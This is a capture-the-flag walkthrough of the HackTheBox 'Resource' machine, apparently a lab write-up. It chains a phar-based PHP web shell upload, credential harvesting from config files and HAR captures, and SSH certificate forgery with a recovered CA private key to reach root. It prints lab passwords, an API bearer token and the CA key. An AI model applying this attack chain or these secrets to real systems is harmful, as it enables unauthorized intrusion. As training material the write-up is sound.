Logo
Overview
HTB: Resource | Walkthrough
TL;DR
  • File upload functionality exposes PHAR-based file handling flaws, enabling code execution via crafted ZIP with _HALT_COMPILER().
  • Zip contents in /var/www/itrc/uploads leak credentials, allowing SSH access as msainristil, then certificate-based pivot to zzinter.
  • Private CA misuse enables generating arbitrary SSH certs via signserv.ssg.htb, leading to root access through supported principals.

Recon

As Usual, start with a Nmap scan to enumerate services running on the target machine.

Terminal window
nmap $ip -sVC -T3 --top-ports 1000 -oN nmap-tcp.initial -vvv

Port 80

Files

Terminal window
admin.php [Status: 200, Size: 46, Words: 7, Lines: 4, Duration: 169ms]
register.php [Status: 200, Size: 566, Words: 98, Lines: 11, Duration: 168ms]
index.php [Status: 200, Size: 3120, Words: 291, Lines: 40, Duration: 172ms]
login.php [Status: 200, Size: 433, Words: 82, Lines: 10, Duration: 188ms]
home.php [Status: 200, Size: 844, Words: 134, Lines: 6, Duration: 173ms]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 165ms]
.htaccess [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 166ms]
. [Status: 200, Size: 3120, Words: 291, Lines: 40, Duration: 163ms]
db.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 186ms]
.html [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 173ms]
dashboard.php [Status: 200, Size: 46, Words: 7, Lines: 4, Duration: 162ms]
.htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 172ms]
.htm [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 160ms]
.htpasswds [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 162ms]
header.inc.php [Status: 200, Size: 1267, Words: 129, Lines: 23, Duration: 159ms]
footer.inc.php [Status: 200, Size: 982, Words: 29, Lines: 10, Duration: 163ms]
.htgroup [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 161ms]
loggedin.php [Status: 200, Size: 46, Words: 7, Lines: 4, Duration: 163ms]
ticket.php [Status: 200, Size: 46, Words: 7, Lines: 4, Duration: 159ms]
.htaccess.bak [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 162ms]
shell.php [Status: 200, Size: 15203, Words: 6917, Lines: 419, Duration: 163ms]
.htuser [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 161ms]
.htc [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 161ms]
.ht [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 161ms]
.htacess [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 160ms]
.htaccess.old [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 162ms]

Exploitations

Initial Exploitation

uploading empty zip file throws following error

<br />
<b>Deprecated</b>: ZipArchive::open(): Using empty file as ZipArchive is deprecated in <b>/var/www/itrc/savefile.inc.php</b> on line <b>38</b><br />
<br />
<b>Warning</b>: hash_file(/tmp/phpe0t8fe): Failed to open stream: No such file or directory in <b>/var/www/itrc/savefile.inc.php</b> on line <b>48</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/itrc/savefile.inc.php:38) in <b>/var/www/itrc/api/create_ticket.php</b> on line <b>31</b><br />

visit http://itrc.ssg.htb/?page=/var/www/itrc/api/create_ticket

add _HALT_COMPILER(); at the end of php shell so that phar can read the file.

Terminal window
zip lzmk.zip shell.php

Privilege Escalation

/var/www/itrc.db.php
# www-data@itrc:/var/www/itrc$ cat db.php
<?php
$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);
try {
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
die("Connection failed: " . $e->getMessage());
}

enumerate zip files on /var/www/itrc/uploads

Terminal window
www-data@itrc:/var/www/itrc/uploads$ for file in *.zip; do zipgrep "zzinter" "$file"; done
www-data@itrc:/var/www/itrc/uploads$ for file in *.zip; do zipgrep "msainristil" "$file"; done
itrc.ssg.htb.har: "text": "user=msainristil&pass=82yards2closeit",
itrc.ssg.htb.har: "value": "msainristil"

ssh into machine with as msainristil:82yards2closeit

/home/msainristil contents

/home/msainristil/decommission_old_ca contents

Terminal window
ssh-keygen -t rsa -b 2048 -f lzmk
ssh-keygen -s ca-itrc -I ca-itrc.pub -n zzinter lzmk.pub
ssh-keygen -Lf lzmk-cert.pub
ssh -o CertificateFile=lzmk-cert.pub -i lzmk zzinter@localhost

do the same for root

/home/zzinter/sign_key_api.sh
#!/bin/bash
usage () {
echo "Usage: $0 <public_key_file> <username> <principal>"
exit 1
}
if [ "$#" -ne 3 ]; then
usage
fi
public_key_file="$1"
username="$2"
principal_str="$3"
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
public_key=$(cat $public_key_file)
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

Terminal window
ssh-keygen -t rsa -b 2048 -f lzmksupport
chmod 600 lzmksupport
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$(cat ./lzmksupport.pub)"'", "username": "lzmk", "principals": "support"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgaFsqAkVgBT0+Q5cuQnpZ0Yz+6fyNizP93XCX/1qR0ykAAAADAQABAAABAQC+4R9Eo2krqECHnUhzHJMbWgVfRuEDbBJ2wCvSzAOgV1hcWSJ1i+u2cmd12kRZp6oaIZXBatVBbpM0lbJNWxONltIlHnh9TXe2ryT0yn9VTH8tSykVZEb6hJYsiVrN13JU4Z4ZTkBL7pbFyJxWmIir4H4rltzHutDaw+nOTUiO/7pBc+/sVX/XWUACMcG/ABlSvlscQaqRHCBr3JardD2IlMZdvj7hiBd6nLZhHeYuDRoC4dm5K9N5jZA5avNNuKSgYKXlQnn3NMCUejVUHdvmjodJ+vOxS8NlUIhfZ9/YQ55e9S9REjJ2MTKivHF+Yj2zw0qInFRJU+MKVSHTskS5AAAAAAAAAD4AAAABAAAABGx6bWsAAAALAAAAB3N1cHBvcnQAAAAAZq3XKf//////////AAAAAAAAAIIAAAAVcGVybWl0LVgxMS1mb3J3YXJkaW5nAAAAAAAAABdwZXJtaXQtYWdlbnQtZm9yd2FyZGluZwAAAAAAAAAWcGVybWl0LXBvcnQtZm9yd2FyZGluZwAAAAAAAAAKcGVybWl0LXB0eQAAAAAAAAAOcGVybWl0LXVzZXItcmMAAAAAAAAAAAAAADMAAAALc3NoLWVkMjU1MTkAAAAggeDwK53LVKHJh+rMLcA2WABxbtDgyhm57MATyY0VKbEAAABTAAAAC3NzaC1lZDI1NTE5AAAAQLAwtLjL1xusCSxJGtKPnL1kjETtB/NeKUo1mMI2YoZJF5cRnUCgL2PE8w5GPtz3hFGm2EjY9hh4TJqP1ixmeQg= kali@kali

login as support

Terminal window
ssh -o CertificateFile=lzmksupport-cert.pub -i lzmksupport support@ssg.htb -p 2222

check auth_principles

Terminal window
support@ssg:/etc/ssh/auth_principals$ ls -la
total 20
drwxr-xr-x 2 root root 4096 Feb 8 2024 .
drwxr-xr-x 5 root root 4096 Jul 24 12:24 ..
-rw-r--r-- 1 root root 10 Feb 8 2024 root
-rw-r--r-- 1 root root 18 Feb 8 2024 support
-rw-r--r-- 1 root root 13 Feb 8 2024 zzinter

for zzinter

Terminal window
ssh-keygen -t rsa -b 2048 -f zzinter && chmod 600 zzinter
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$(cat ./zzinter.pub)"'", "username": "zzinter", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6
vNziNqGrYgmSve5jCmnPJDE"
ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgbuI+MV26gc95UpyyZm1luCT0pdVUqF0SqXhkFaX1MgwAAAADAQABAAABAQDqjLWRomEL14UVInI9JmjV4zLkX7J3BZbJOMn3gqMQATZb7HTaKGjdxxcON9Z0fUMHJvYcOGQzn5Od2yibWKO8PO9G4s2ZAwqN+8a
hQfoah0tAKlt83MnwPhVijCGUyF256SPyDWLdVZYbuv3airq4iW12knBEcUwpWdb9cuVYr/rv/uBxCxhJ+nPVA0MUpPxtYoaDhBkx4po6JzgWk5xvy29sQZmA/fmscTbiujgY+c2N02ssGemgYSoJPjHZOlG2jr1v2/yioECfoyX+vcm4Q/KGZ/Km2wNdsTXWUKZTWm/kB81zVbFbnAX8yKnpPKPTlhrBKZGB0O52isj
xhlXPAAAAAAAAAEIAAAABAAAAB3p6aW50ZXIAAAAQAAAADHp6aW50ZXJfdGVtcAAAAABmrePN//////////8AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAAAAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAA
AAAAAAA5wZXJtaXQtdXNlci1yYwAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAAAALc3NoLWVkMjU1MTkAAABAKPAyZ72DeDolgzhHT0fuZMX1zrwQXn5K9PK4TKjlt874auAfTs6roNDCmRQCp8wD23mFKzYHQ6bl6Ax2wHgtBw== kali@k
ali
chmod 600 zzinter-cert.pub

login as zzinter

Terminal window
ssh -o CertificateFile=zzinter-cert.pub -i zzinter zzinter@ssg.htb -p 2222

/opt/sign_key.sh
#!/bin/bash
usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}
if [ "$#" -ne 5 ]; then
usage
fi
ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"
if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi
if [[ $ca == "/etc/ssh/ca-it" ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if ! [[ $serial =~ ^[0-9]+$ ]]; then
echo "Error: '$serial' is not a number."
usage
fi
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

cracked_ca

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----

Generate and sign ssh certificate using the ca

Terminal window
chmod 600 cracked_ca
ssh-keygen -f root
ssh-keygen -s ca -z 200 -I root -V -10w:forever -n root_user root.pub

SSH into the target machine as root with newly minted key

Terminal window
ssh root@itrc.ssg.htb -p2222 -i root -i root-cert.pub